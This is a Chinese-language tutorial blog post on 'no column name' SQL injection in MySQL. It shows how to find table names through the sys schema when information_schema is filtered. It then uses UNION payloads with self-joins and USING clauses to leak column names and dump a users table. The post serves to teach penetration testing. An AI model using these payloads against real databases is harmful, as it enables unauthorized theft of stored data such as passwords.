【网络安全】SQL注入——无列名注入

一、前言

今天来学习一下无列名注入,无列名注入是什么。我们在真实环境渗透测试的时候很大概率会遇到WAF或者正则,其中在SQL注入的时候被过滤掉information,导致无法查询到表名。

二、information

information是什么,有基础的应该知道information是MySQL自带的数据库,其中包含表名,列名这些关键的信息。

sql注入一般都会用到information_schema这个库(mysql自带的库),禁用掉这个表是一个很好的防御手段,这时候就可以使用无列名注入来绕过。如果information被过滤掉了,该怎么办呢?

2.1sys库

MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

sys库的两种形式:

(1). schema_table_statistics_with_buffer

sql 复制代码
#查询数据库名
select table_schema from sys.schema_auto_increment_columns;
sql 复制代码
#查询表明
select table_name from sys.schema_auto_increment_columns where table_schema=databse();

(2). x$schema_table_statistics_with_buffer

sql 复制代码
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
python 复制代码
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();

三、无列名注入

join------用于合并两个表;

using------表示使用什么字段进行连接;

通过join自连接同一张表制造重复列名错误,再利用using子句强制暴露所有列名结构。进行union select注入时,前后查询结果的列数必须严格一致,否则会引发错误。

得到 id 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b)as c;

得到 username 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b using(id))as c;

得到 password 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username))as c;

得到 user 表中的数据

select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username,password))as c;

相关推荐
zhangfeng11337 分钟前
那nvidia orim车载gpu tee安全飞地 和天垓 100 gpgpu的 飞地 ,大概有多大存储量 ,解密流程
人工智能·深度学习·安全·语言模型·gpu算力·芯片
吹个口哨写代码19 分钟前
前后端分离的安全补救措施
安全
mN9B2uk172 小时前
数据库的约束简介
java·数据库·sql
zhangfeng11332 小时前
天数智芯天垓 100 加密大模型分布式部署安全方案
人工智能·分布式·安全·transformer·gpu算力·芯片
@insist1232 小时前
系统架构设计师-安全架构设计:网络安全威胁分类与典型攻击原理
web安全·系统架构·软考·安全架构·系统架构设计师·软件水平考试
workflower2 小时前
医院核心竞争力的四大重构
人工智能·安全·设计模式·重构·动态规划·scrum
zhangfeng11332 小时前
车载gpu 飞地 只保存密钥 不保存 权重 Orin确实有TEE安全飞地(TSEC/OP-TEE)
服务器·网络·人工智能·安全·transformer·芯片
humors2213 小时前
四种字母密码表示法
安全·网络安全·密码学
暗夜猎手-大魔王4 小时前
转载--Hermes Agent 11 | 智能审批与平台化安全:当 AI 来守护 AI
人工智能·python·安全
2603_954708314 小时前
微电网协调控制系统柜的应用场景有哪些?
分布式·安全·架构·能源·需求分析